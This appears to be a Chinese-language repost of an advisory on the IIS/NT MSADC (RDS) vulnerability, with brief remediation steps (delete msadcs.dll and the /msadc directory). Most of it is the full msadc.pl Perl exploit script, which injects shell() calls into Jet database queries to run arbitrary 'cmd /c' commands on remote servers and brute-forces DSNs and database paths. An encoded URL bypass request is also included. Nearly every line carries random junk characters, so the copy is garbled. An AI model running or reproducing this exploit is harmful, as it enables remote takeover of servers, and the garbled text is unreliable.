IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Z _zN:BJ8L h
rW 涉及程序：
f1rP+l-C< Microsoft NT server
L 09YA 5*/~) wN\U 描述：
>OgA3)X 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F
*=>= [1F.
详细：
k-Hy>5; 如果你没有时间读详细内容的话，就删除:
pV9$Vg?-H c:\Program Files\Common Files\System\Msadc\msadcs.dll
`+CRUdr 有关的安全问题就没有了。
B36_ OH bg'Qq|<U 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
bE74Ui 8doKB<#_+= 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
08n2TL;EsX 关于利用ODBC远程漏洞的描述，请参看:
bX Q*d_]WT W;4rhZEgd http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >=G;rs tda#9i[pkH 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
eGkB#.+J! http://www.microsoft.com/security/bulletins/MS99-025faq.asp Sb+^~ M &xo_93 这里不再论述。
W4 %I%&j 5/F1| N4 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
>gRb.-{ux zR_ " /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
93Kd7x-3 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
><V<}&:y$( $M5iU@A ?1T)cd* #将下面这段保存为txt文件，然后: "perl -x 文件名"
j^;f {0f oCg|*
c|+ #!perl
Y``50{7 #
xAbx.\ # MSADC/RDS 'usage' (aka exploit) script
uD0T()J.P5 #
e{EKM4 # by rain.forest.puppy
w j !YY BH #
>x9@ if # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
> r1cW7 # beta test and find errors!
/'' |bIPa "4NcszEN use Socket; use Getopt::Std;
@{P<!x <Q getopts("e:vd:h:XR", \%args);
>o9tl O) mE=%+:o. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mhVds a [1nfSW if (!defined $args{h} && !defined $args{R}) {
$ @g\wz print qq~
H e vZ}. Usage: msadc.pl -h <host> { -d <delay> -X -v }
a> qB
k}) -h <host> = host you want to scan (ip or domain)
[U'I3x, -d <seconds> = delay between calls, default 1 second
c|m*<
i -X = dump Index Server path table, if available
NXo$rf : -v = verbose
4 z KmoYt -e = external dictionary file for step 5
v+Mi"ZA d hGh91c;4 Or a -R will resume a command session
l7 Pn5c 2T 3tKX ~; exit;}
+ i^@QNOa cZC%W!pT $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2>TOC BB" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3N c#6VI if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"`g5iUHqUl if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
=\~<##sRJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
u#!QI QW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
tf[)Q:| +lC?Vpi^ if (!defined $args{R}){ $ret = &has_msadc;
h hWIwR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o|`[X ' y/i{6P2`,D print "Please type the NT commandline you want to run (cmd /c assumed):\n"
B0 E`C . "cmd /c ";
|?A:[C#X $in=<STDIN>; chomp $in;
X! ,huB^i $command="cmd /c " . $in ;
OD [q
u 3D 4-Wo4 if (defined $args{R}) {&load; exit;}
(%~^Kmfb0 Gk:tT1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5<U:Y y &try_btcustmr;
4N6JK S eF-U
1ZJT print "\nStep 2: Trying to make our own DSN...";
R&.mNji* &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h'lqj0 |2ImitN0 print "\nStep 3: Trying known DSNs...";
tVQq,_9C &known_dsn;
jRiX N % & _cH9zw@ print "\nStep 4: Trying known .mdbs...";
\MqO HM.[ &known_mdb;
g'cLc5\ %\"<lyD if (defined $args{e}){
1 A%0y)] print "\nStep 5: Trying dictionary of DSN names...";
lT^/ 8Z<g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
- .xiq0 H46N!{<;@ print "Sorry Charley...maybe next time?\n";
6 &Lr/J76 exit;
Ef @ hXnfZx% ##############################################################################
A(eB\qG ZSWZz8 sub sendraw { # ripped and modded from whisker
;gGq\c sleep($delay); # it's a DoS on the server! At least on mine...
or,:5Z my ($pstr)=@_;
wxJu=#!M socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=E.!Ff4~( die("Socket problems\n");
OEw#;l4 C if(connect(S,pack "SnA4x8",2,80,$target)){
{ty)2 select(S); $|=1;
%lq[,6?>5 print $pstr; my @in=<S>;
9Js+ *,t select(STDOUT); close(S);
w)N~u% return @in;
:a/l9 m( } else { die("Can't connect...\n"); }}
O NVhB 3_bqDhVI5 ##############################################################################
hsB3 zqotF y0f:N
U sub make_header { # make the HTTP request
R_ W6} my $msadc=<<EOT
} ChS cY POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|
|"W=E User-Agent: ACTIVEDATA
3iM7c.f*/ Host: $ip
Vx z ` Content-Length: $clen
JR_%v=n~x Connection: Keep-Alive
!mZDukfjQ Upa F>,kM ADCClientVersion:01.06
QUeuN?3X\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kx?f, ^ - 12VIP-ABK --!ADM!ROX!YOUR!WORLD!
"%}24t% Content-Type: application/x-varg
>{S
~(KxK Content-Length: $reqlen
@r&*Qsf| !He_f-eZ EOT
j"hNkCF ; $msadc=~s/\n/\r\n/g;
\5|MW)x return $msadc;}
KFg q3snH $J8g)cS ##############################################################################
VBUrtx: GQ(*k)'a sub make_req { # make the RDS request
OxQ 5P;O my ($switch, $p1, $p2)=@_;
&V| kv"Wwj my $req=""; my $t1, $t2, $query, $dsn;
w_h{6Kc< cgnMoBIc if ($switch==1){ # this is the btcustmr.mdb query
jB<B_" $query="Select * from Customers where City=" . make_shell();
oN2#Jh%dH $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Q5c3C &$6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/!?b&N/d) !RP0W elsif ($switch==2){ # this is general make table query
\o*w#e[M $query="create table AZZ (B int, C varchar(10))";
qjObu\r $dsn="$p1";}
~R&rQJJeJ qj9[mBkP" elsif ($switch==3){ # this is general exploit table query
JC0# pU; $query="select * from AZZ where C=" . make_shell();
{] bmecz $dsn="$p1";}
S B~opN -Uan.#~S elsif ($switch==4){ # attempt to hork file info from index server
5@DCo $query="select path from scope()";
Mw3$QRM $dsn="Provider=MSIDXS;";}
fMIRr5 in K]+H]{ elsif ($switch==5){ # bad query
+ -uQ] ^n $query="select";
DIABR%0 $dsn="$p1";}
&gJ1*"$9 B(WmJ6e $t1= make_unicode($query);
Wv|CJN;4 $t2= make_unicode($dsn);
LC4VlfU $req = "\x02\x00\x03\x00";
P 3 . $req.= "\x08\x00" . pack ("S1", length($t1));
o}DR p4;Ka $req.= "\x00\x00" . $t1 ;
-AD@wn!wCJ $req.= "\x08\x00" . pack ("S1", length($t2));
uwQgu!|x $req.= "\x00\x00" . $t2 ;
qfG:v Tm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Nw9@ E R return $req;}
E[WU #.rkvoB0 N ##############################################################################
R?zlZS.~ idB1%?< sub make_shell { # this makes the shell() statement
oi
m7=I0 return "'|shell(\"$command\")|'";}
-:95ypi j!@T@
8J ##############################################################################
el U %Z9 Siq]Ii0F;> sub make_unicode { # quick little function to convert to unicode
4# {f8 my ($in)=@_; my $out;
t{g@z3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*^%+PQ return $out;}
>fMzUTJ4 sj4\lpZ3h ##############################################################################
L pq)TE# X{Fr sub rdo_success { # checks for RDO return success (this is kludge)
o{>4PZ}=g my (@in) = @_; my $base=content_start(@in);
X1d{7H8A2 if($in[$base]=~/multipart\/mixed/){
1d~d1Rd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
je@&|9 h return 0;}
(a0(ZOKH J6[}o4Z ##############################################################################
9%
C] s T ay226 sub make_dsn { # this makes a DSN for us
zJP jsD] my @drives=("c","d","e","f");
?
V1ik[ print "\nMaking DSN: ";
HU'w[r 6a foreach $drive (@drives) {
$@@ii+W}\ print "$drive: ";
:-O$rm my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'j*Q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
qH0JZd k . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#q K.AZi $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c&1_lI,tH return 0 if $2 eq "404"; # not found/doesn't exist
(V&8
WN if($2 eq "200") {
p j<aMh foreach $line (@results) {
2Y%7.YX" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
lX%-oRQ/os } return 0;}
sVr| kvn2 KAXjvZN 1 ##############################################################################
L) {V(*K ' xe^M2$clb\ sub verify_exists {
F53
.g/[ my ($page)=@_;
gm
p Y[ my @results=sendraw("GET $page HTTP/1.0\n\n");
`*[\b9> return $results[0];}
Y# I8gzv vmEn$`&2t ##############################################################################
H\V?QD n .71ZeLv* sub try_btcustmr {
gaQ E'qp> my @drives=("c","d","e","f");
o2B |r`R my @dirs=("winnt","winnt35","winnt351","win","windows");
S !#5 4i.&geX A. foreach $dir (@dirs) {
@54$IhhT~ print "$dir -> "; # fun status so you can see progress
x&^Xgi? foreach $drive (@drives) {
Uj\t04 print "$drive: "; # ditto
M*bsA/ Z $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Y- Q)sv $reqlenlen=length( "$reqlen" );
2+I5VPf $clen= 206 + $reqlenlen + $reqlen;
[u;(4sa} +,,dsL my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.wp[uLE if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
;~DrsQb else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
y\j[\UZKO G~DHNO6 ##############################################################################
~Er0$+q=Y; [T4{K & sub odbc_error {
BriL ^] my (@in)=@_; my $base;
rz,,ku4qt my $base = content_start(@in);
:%33m'EV} if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@GD $KR9 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"!(@MfjT $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
lz6CK
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
n|? sNM<J3 return $in[$base+4].$in[$base+5].$in[$base+6];}
zRmV V}b print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
H;NAS/OhS print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
wl% ysM| x $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
m'
S{P:TK %
>a
/ m.$ ##############################################################################
g33Y$Xdk :R=7dH~r sub verbose {
WV'u}-v^ my ($in)=@_;
:Cezk D& return if !$verbose;
Z 2@e~&L print STDOUT "\n$in\n";}
6w? GeJ 'hPW#*#W< ##############################################################################
g]JRAM GFE3 p sub save {
GOGS"q my ($p1, $p2, $p3, $p4)=@_;
Tc!n@!RA| open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*~4<CP+"0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o/
51 RH close OUT;}
A V|:v3 {X2uFw Gi ##############################################################################
5D=U.UdR ]@cI _n sub load {
d& L my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r_ +!3 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
olr#3te @p=<IN>; close(IN);
N.+A-[7,W $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
x^_c4,i) $target= inet_aton($ip) || die("inet_aton problems");
KztQT9kY print "Resuming to $ip ...";
fQ"Vx! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Yc?S< if($p[1]==1) {
j~S=kYrGM $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>);M\,1\I $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
s w}^@0ua= my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^i8biOSZu if (rdo_success(@results)){print "Success!\n";}
rN7JJHV else { print "failed\n"; verbose(odbc_error(@results));}}
-K$ugDi elsif ($p[1]==3){
& ^1 b]f if(run_query("$p[3]")){
;qy;;u sa print "Success!\n";} else { print "failed\n"; }}
)(yaX elsif ($p[1]==4){
*Q?8OwhJ if(run_query($drvst . "$p[3]")){
tS\Db'C7 print "Success!\n"; } else { print "failed\n"; }}
{S- M] LE exit;}
J E5qR2VA Z_dL@\#| ##############################################################################
~`Vo0Z*S pzjNi=vhd sub create_table {
8kSyT'k C% my ($in)=@_;
]8OmYU%6V $reqlen=length( make_req(2,$in,"") ) - 28;
Ake l .& $reqlenlen=length( "$reqlen" );
etX(~"gG_ $clen= 206 + $reqlenlen + $reqlen;
0FH.=
my @results=sendraw(make_header() . make_req(2,$in,""));
hP{+`\&<f return 1 if rdo_success(@results);
Il>o60u1 my $temp= odbc_error(@results); verbose($temp);
0~_I9|FN return 1 if $temp=~/Table 'AZZ' already exists/;
k:iy()n[ return 0;}
X YD-5pG J#j3?qrxu ##############################################################################
Q(Q?L5
ZybfqBTD&c sub known_dsn {
Wl=yxJu_( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
TG8 U=9qt my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
m5]
a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*kZH~] "banner", "banners", "ads", "ADCDemo", "ADCTest");
{|OXiRm' S76MY&Vx23 foreach $dSn (@dsns) {
YM NLn9 print ".";
g,o 46`6" next if (!is_access("DSN=$dSn"));
G#f3
WpD if(create_table("DSN=$dSn")){
8 l= EL7 print "$dSn successful\n";
^*UtF9~%n if(run_query("DSN=$dSn")){
@`nG & U print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
% dr*dA'
print "Something's borked. Use verbose next time\n";}}} print "\n";}
lTN^c? 1ljcbD)T; ##############################################################################
_-#o[ >2[ MQcIH2 sub is_access {
uTz>I'f my ($in)=@_;
ek/zQM@% $reqlen=length( make_req(5,$in,"") ) - 28;
lb*;Z7fx<' $reqlenlen=length( "$reqlen" );
" >h$(WCK $clen= 206 + $reqlenlen + $reqlen;
thX4-'i my @results=sendraw(make_header() . make_req(5,$in,""));
90Sras>F my $temp= odbc_error(@results);
b{ A/M #= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
[e _csQ return 0;}
Voq /0,d J(~1mIJjC ##############################################################################
i4WHjeo\ <C;TGA sub run_query {
_
M B/p my ($in)=@_;
kef% 5B $reqlen=length( make_req(3,$in,"") ) - 28;
0 |?N $reqlenlen=length( "$reqlen" );
0wSy[z4V $clen= 206 + $reqlenlen + $reqlen;
f-H "|9 my @results=sendraw(make_header() . make_req(3,$in,""));
b KIL@AI return 1 if rdo_success(@results);
%qE"A6j my $temp= odbc_error(@results); verbose($temp);
EB}~^ aY return 0;}
+>2.O2)%q < /5 ##############################################################################
wL]#]DiE ~ Al3Dv9x sub known_mdb {
.q:6F*,1M my @drives=("c","d","e","f","g");
:yi} CM4 my @dirs=("winnt","winnt35","winnt351","win","windows");
Q3$DX, 8? my $dir, $drive, $mdb;
H d7Vp:KM my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v$JW7CKA v+trHdSBYE # this is sparse, because I don't know of many
t ;PG my @sysmdbs=( "\\catroot\\icatalog.mdb",
8'qlg|{!~ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
j"pyK@v2B "\\system32\\certmdb.mdb",
(Uu5$ q( "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.V}bfd[k$ i eWXr4@: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
XhWo~zh" "\\cfusion\\cfapps\\forums\\forums_.mdb",
lk81IhI "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
y0?HZ Xq "\\cfusion\\cfapps\\security\\realm_.mdb",
(|<+yQ,@> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
cH :&S=>h "\\cfusion\\database\\cfexamples.mdb",
i PG:w+G "\\cfusion\\database\\cfsnippets.mdb",
'L9h M .+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
m!^$_d\%~ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
o
/1+
}f "\\cfusion\\brighttiger\\database\\cleam.mdb",
TXV^ f* "\\cfusion\\database\\smpolicy.mdb",
aMkuyqPf{ "\\cfusion\\database\cypress.mdb",
ySDo(EI4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
N'l2$8 "\\website\\cgi-win\\dbsample.mdb",
(]&B' 1b "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
9H:J&'Xi7 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Zy?!;`c*{ ); #these are just
GNB'.tJ:0Y foreach $drive (@drives) {
:9x]5;ma foreach $dir (@dirs){
* uccY_ foreach $mdb (@sysmdbs) {
2~ETu&R: print ".";
7PUy`H,& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
cH| J print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
7i02M~*uS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
0 8k print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Qgf|obrEi6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
&m9= q|;m BXxJra/V foreach $drive (@drives) {
xb9^Wv V foreach $mdb (@mdbs) {
(Nd)$Oq[4 print ".";
K)[\IJJM if(create_table($drv . $drive . $dir . $mdb)){
kVt/Hhd9 print "\n" . $drive . $dir . $mdb . " successful\n";
<HS{A$] if(run_query($drv . $drive . $dir . $mdb)){
MY z!zI print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
eAjR(\f> } else { print "Something's borked. Use verbose next time\n"; }}}}
ZZ :* c"b: }
0j xXUWO 55] MRv ##############################################################################
u WdKG({][ cG@W o8+ sub hork_idx {
Qz2jV print "\nAttempting to dump Index Server tables...\n";
jeA2y jAC print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
C{G=Y[?oc $reqlen=length( make_req(4,"","") ) - 28;
-{z[.v.p $reqlenlen=length( "$reqlen" );
=JP Y{'V O $clen= 206 + $reqlenlen + $reqlen;
on5\rY<I:@ my @results=sendraw2(make_header() . make_req(4,"",""));
1~2+w]-kU if (rdo_success(@results)){
P %vouC0W my $max=@results; my $c; my %d;
2S[:mnK for($c=19; $c<$max; $c++){
@7Ln1v $results[$c]=~s/\x00//g;
>Lo'H}[pF $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
M)wNu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Rp:I&f$Hk/ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
)Wt&*WMFXl $d{"$1$2"}="";}
@ <4 U & foreach $c (keys %d){ print "$c\n"; }
l>BM}hS } else {print "Index server doesn't seem to be installed.\n"; }}
OS>%pgv 10r!p: D ##############################################################################
**Akp V) y OXEP sub dsn_dict {
V,[[# a)y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
i*&b@.7N while(<IN>){
e8xNZG; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
jJ2{g> P0P next if (!is_access("DSN=$dSn"));
{3K ]Q= if(create_table("DSN=$dSn")){
OH]45bd
&7 print "$dSn successful\n";
Y< N#{)Q if(run_query("DSN=$dSn")){
K g /, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
IC$"\7
@ print "Something's borked. Use verbose next time\n";}}}
+ ~,q "6 print "\n"; close(IN);}
\FCPD.2s+ o~4kJW # ##############################################################################
J P
;SO b{x/V 9&| sub sendraw2 { # ripped and modded from whisker
)/OI zbA3# sleep($delay); # it's a DoS on the server! At least on mine...
[{& OcEf my ($pstr)=@_;
>>y\idg&: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f/0k,~,* die("Socket problems\n");
B(eiRr3 if(connect(S,pack "SnA4x8",2,80,$target)){
T 0b/txS print "Connected. Getting data";
R@>^t4#_Q0 open(OUT,">raw.out"); my @in;
JL u$UR4 select(S); $|=1; print $pstr;
!Bg^-F:N while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
":=h1AJY close(OUT); select(STDOUT); close(S); return @in;
={6vShG)m } else { die("Can't connect...\n"); }}
KRP6b:+4L 2'Kh>c2 ##############################################################################
qM 3(OvCt )`gxaT>&l sub content_start { # this will take in the server headers
H3iYE~^# my (@in)=@_; my $c;
{S@,
, for ($c=1;$c<500;$c++) {
h+YPyeAs if($in[$c] =~/^\x0d\x0a/){
&=T>($3r94 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
'*&V7: else { return $c+1; }}}
wLE|J9t%Ea return -1;} # it should never get here actually
o{ hZjn- _ KyhX| ##############################################################################
c2s73i z )lU ocm sub funky {
q8R,#\T* my (@in)=@_; my $error=odbc_error(@in);
cmd7-2 if($error=~/ADO could not find the specified provider/){
}h3[QUVf% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
*kj+6`:CPs exit;}
ox";%|PP1 if($error=~/A Handler is required/){
$0~1;@`rQ6 print "\nServer has custom handler filters (they most likely are patched)\n";
LJ z6)kz exit;}
1NrNTBI@ if($error=~/specified Handler has denied Access/){
rV-Xsf7Z print "\nServer has custom handler filters (they most likely are patched)\n";
*rV{(%\m exit;}}
v!n|X7 6aWnj*dF ##############################################################################
`Uvc^ ,Vz-w;oDn sub has_msadc {
1n.F`%YG my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
&,,:pL[ my $base=content_start(@results);
n-dC !t
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Z` %^?My return 0;}
_tQM<~Y]u\ l Yj$ 3 ########################
AmCymT3P*e 2@N-#x ' Dj0D.}`~ 解决方案：
oXVx9dZ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
QV#HN"F /K 2、移除web 目录: /msadc
